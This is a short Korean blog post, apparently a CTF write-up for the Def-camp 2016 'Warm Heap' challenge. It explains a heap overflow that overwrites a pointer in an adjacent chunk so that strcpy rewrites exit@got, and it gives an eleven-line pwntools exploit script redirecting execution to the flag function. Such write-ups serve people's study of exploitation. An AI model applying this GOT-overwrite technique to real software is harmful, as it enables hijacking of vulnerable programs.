ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Def-camp CTF] Warm Heap
    CTF 2016. 10. 31. 01:05

    HEAP 기초 문제부터 하나하나 풀어보려다가 이 문제를 알게되어 그냥 풀어보았다.


    간단한 문제엿다



    각각 malloc을 하고 입력받는 구조를 가진다.


    힙의 상태는 아래 사진과 같다.




    chunk 사이즈는 16바이트를 할당하면 64비트이기때문에 prev_size와 size가 추기때문에 16바이트가 추가로 생성된다.


    *(v3 + 1) = malloc(8); 

    *(v4 + 1) = malloc(8);


    이 두개의 코드 때문에 다음 청크의 주소가 malloc 데이터안에 들어가게된다.


    다음 fgets로 입력받고,  두번째 malloc 영역부터 입력을 받는데, 40바이트를 입력하면 0x02045070전까지 도달할수있다.




    만약 여기서 뒤에 호출되는 함수의 GOT를 넣으면 v4 + 1은 GOT가 된상태로, strcpy로 복사를 해버리게된다.


    그럼 덮을 수 있다!



    exit@got 가 제대로 덮힌것을 확인 할 수 있다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    from pwn import *
     
    #p = remote("10.211.55.3",9900)
    = process("exp100.bin")
    exit_got = 0x601068
    flag = 0x400826
     
    p.sendline("A"*40 + p64(exit_got))
    p.sendline(p32(flag))
     
    p.interactive()
    cs





    쉬워도 이해좀해주세요 ㅠㅠ 




    'CTF' 카테고리의 다른 글

    [HSOC] ConsoleRPG  (0) 2016.11.06
    [0ctf] freenote  (0) 2016.11.04
    WITHCON Finals - jnjn  (0) 2016.10.25
    WITHCON Finals - BPTime router  (1) 2016.10.25
    [BCTF] BCloud  (0) 2016.10.23

    댓글

Designed by Tistory.